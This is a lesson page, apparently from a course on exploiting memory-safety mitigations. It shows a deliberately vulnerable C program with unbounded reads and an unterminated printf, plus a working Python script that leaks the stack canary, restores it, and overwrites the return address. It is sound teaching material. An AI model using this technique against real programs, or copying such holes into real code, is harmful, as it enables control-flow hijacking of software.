Skip to content
Courses

Leaking a Stack Canary

MitigationsLesson 2 of 790 minutesLessonNo lab next

The canary stopped you because the epilogue compared against a number your input didn’t preserve. Guessing isn’t a reliable answer, and the last lesson showed why writing one down doesn’t give you a reusable answer either: the next run can have a different value.

The obvious move is to read it out of the process. You did exactly that in GDB, four times, but that was the debugger telling you what was in memory. This time the question is whether the program will tell you itself.

That sounds like a tall order until you remember what programs do all day. They take things in memory and turn them into output. This one is supposed to print your name, but it doesn’t check that every byte it prints belongs to the name. A greeting can say rather more than its author intended.

Save this as safe.c in a fresh working directory:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vault(void)
{
puts("Vault open.");
exit(0);
}
void ask(void)
{
char name[64] = {0};
printf("Name: ");
fflush(stdout);
read(0, name, 80);
printf("Hello, %s\n", name);
printf("Correction: ");
fflush(stdout);
read(0, name, 200);
printf("Thanks, %s.\n", name);
}
int main(void)
{
ask();
puts("Goodbye.");
return 0;
}

The read calls use file descriptor 0, standard input. fflush(stdout) forces each prompt out immediately instead of leaving it in an output buffer, which matters once a Python process is waiting to see that prompt before sending the next input. Neither detail creates the memory disclosure; they make the two-stage exchange dependable.

Terminal window
gcc -g -O0 -fno-omit-frame-pointer -no-pie safe.c -o safe

The frame is the one you derived last lesson, because the buffer and the reservation are the same: name at rbp-0x50, the canary at rbp-0x8, offsets 72, 80 and 88. Confirm that with objdump rather than taking my word for it, since everything below depends on it.

There are two reads into the same buffer, with a greeting between them. The first read supplies the bytes that greeting prints:

read(0, name, 80);
printf("Hello, %s\n", name);

read appends nothing to the bytes it copies, but printf with %s expects a string ending in a zero byte. It starts at the address it’s given and keeps going until it finds that zero, without a count telling it where the buffer ends.

The program treats the result of the read as a string without ensuring it ends where it should.

Start with a short name and look at the greeting:

Terminal window
./safe
Name: bel
Hello, bel
Correction: belvedere
Thanks, belvedere
Goodbye.

The blank lines come from the newline you typed: read keeps it in name, and printf prints it along with the name before adding its own newline.

The buffer was zeroed at the top of the function, so these short inputs also leave zeros after them and %s stops where you’d expect. Without that initialization, even the ordinary greeting could depend on what was already in memory.

The buffer is 64 bytes and the canary starts at offset 72. The difference between an input of 72 bytes and one of 73 is just one byte, but it changes where printf stops.

72 bytes shows you nothing. Your bytes fill offsets 0 to 71, which stops exactly where the canary starts. printf walks from the start of name, prints your 72 bytes, reaches offset 72, and finds the canary’s first byte. That byte is zero, so it stops there.

73 bytes shows you seven of the eight. The 73rd byte lands on offset 72 and overwrites the zero. Now printf has nothing to stop it until the next zero in the frame, so it prints your 73 bytes and then the canary’s remaining seven, straight into the output.

The first byte isn’t lost, because you already know it. It was zero, which is why you had to overwrite it. So the canary is 0x00 followed by the seven bytes you just read, and you have all eight.

That zero byte has a name and a purpose. It’s a terminator canary, and it’s there precisely to make this harder: every string function in the C library stops at a zero, so a canary that begins with one can’t be read through by %s, and can’t be written through by strcpy either.

It’s a second defence hiding inside the first, and the only reason you’re getting past it is that read doesn’t care about zeros and this program let you write one byte further than it should have.

Compare the output from the two input lengths:

Terminal window
python3 -c "import sys; sys.stdout.buffer.write(b'A'*72)" | ./safe | cat -v
Name: Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Correction: Thanks, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Goodbye.

The output shows seventy-two A bytes and nothing after them. The program then reaches the end of its input, so the second read leaves the buffer as it was and the function returns normally, with the canary still unchanged.

Terminal window
python3 -c "import sys; sys.stdout.buffer.write(b'A'*73)" | ./safe | cat -v
Name: Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA^X4^FY5M-DM-<
Correction: *** stack smashing detected ***: terminated

One more byte in, and seven bytes of canary come back out. cat -v shows them as escapes because they’re random bytes rather than text, which is exactly what you want to see. Yours will differ from mine and from your own previous run.

Look at the second line too, because it tells you what this cost. Overwriting the terminator is corrupting the canary, so this probe trips the check on the way out just as last lesson’s overflow did. The leak and the abort are the same act. That’s survivable only because the function reads again before it returns, which is the one thing that makes this program exploitable rather than merely leaky.

Overwrite the terminator, read the secret, then restore it

Follow one illustrative process. The selected canary has no other zero byte; an earlier zero in another run would stop %s sooner.

Before the first read

Stack memory · ask

name and padding · 72 bytesoffsets 0–71

buffer zeroed; padding omitted

Output and recovered value

Print cursor
Not printing at this step
Recovered canary
Not recovered
Check
Not run yet

No greeting yet.

The first canary byte is still 00, so %s stops there even though the 72-byte write already exceeded the 64-byte array.

Blue underlines mark changed values; dashed outlines mark current sources or destinations. Byte addresses increase left to right. Unshown values are omitted, not zero.

An exploit that has to hold a conversation

Section titled “An exploit that has to hold a conversation”

Everything you’ve delivered so far has been a file. probe.bin, reach.bin, input.bin: build the bytes, redirect them in, read what happens.

A fixed input file prepared beforehand can’t supply this exchange. The second half of your input contains the canary. You don’t know that value until the program has told you, which it won’t do until it has read the first half. Between the two halves, you have to read its answer.

So the exploit becomes a program that runs the target and talks to it. Save this as solve.py:

import os
import subprocess
from struct import pack, unpack
VAULT = 0x4011d6
p = subprocess.Popen(["./safe"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
# Stage one. The 73rd byte overwrites the canary's zero, so printf runs on
# into the rest of it.
p.stdin.write(b"A" * 73)
p.stdin.flush()
out = os.read(p.stdout.fileno(), 4096)
body = out.split(b"Hello, ", 1)[1]
canary = unpack("<Q", b"\x00" + body[73:80])[0]
print(f"canary = {canary:#018x}")
# Stage two. Put the canary back exactly, then carry on to the return slot.
p.stdin.write(b"B" * 72 + pack("<Q", canary) + b"C" * 8 + pack("<Q", VAULT))
p.stdin.flush()
p.stdin.close()
print(p.stdout.read().decode(errors="replace").strip())

Take VAULT from your own binary with nm -n ./safe | grep ' vault$' rather than mine.

os.read rather than p.stdout.read(4096). The second one waits until it has all 4096 bytes or the pipe closes. The program is going to send about a hundred and then wait for you, so the two of you would sit there indefinitely. os.read returns whatever has arrived. This is the most common way a first attempt at an interactive exploit hangs.

b"\x00" + body[73:80] reassembles the canary. The seven leaked bytes are the top seven, and the zero you overwrote goes back on the bottom, in that order, because x86-64 is little-endian and unpack("<Q", ...) reads it that way.

b"B" * 72 + pack("<Q", canary) writes the canary back into its own slot. You aren’t avoiding those eight bytes, and you can’t: reaching offset 88 means writing through 72 to 79. You’re overwriting them with what was already there, so the epilogue subtracts and gets zero.

Terminal window
python3 solve.py
canary = 0x163542e0f852cb00
Thanks, BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Vault open.

Run it three or four times:

canary = 0x78fc1458a49b3600
canary = 0xe57353fca3307400

Check each run’s value alongside its result, because a list of different values shows variation without telling you how any of those runs ended.

The check still asks whether two values match. It doesn’t ask whether the program stayed within its buffer or kept its memory private.

Here, memory appeared in the output and writes went beyond the buffer. Neither defect disappears just because the comparison passes.

Knowledge check

Question 1 of 3

Why does a 72-byte input leak nothing while a 73-byte input leaks seven bytes?

Start with the first result that differs from the example. Keep the last output you received, even if the program never reached its final line.

  • A hang leaves you with the last output received, but not yet an explanation of which operation is waiting.
  • Different output is worth keeping too; the difference alone doesn’t identify an input-length or frame-layout problem.
  • A stack-smashing diagnostic means the check failed. It doesn’t tell us which earlier operation introduced the mismatch.
  • A segmentation fault doesn’t tell us whether the canary matched or whether the saved return address caused it.
  • Normal completion means the program finished, not that every write stayed within the buffer.

To recover a known state, rebuild from the supplied source with the exact command above and re-derive the frame offsets from your own objdump output.

Suppose the greeting is removed and somebody writes: “The previous test stopped succeeding. The program is now safe.”

What changed, and what remains unresolved? Explain the difference between removing the observed disclosure and correcting the input handling.

Check your reasoning

Removing the greeting changes what the program exposes. Repairing an out-of-bounds write changes what it can overwrite.

The old test no longer succeeds, but that doesn’t tell us that the input operations now respect the buffer’s bounds.

This example reaches a function already in the binary, unlike the earlier examples that placed their own instructions on the stack. That difference matters when the stack is readable and writable but no longer executable.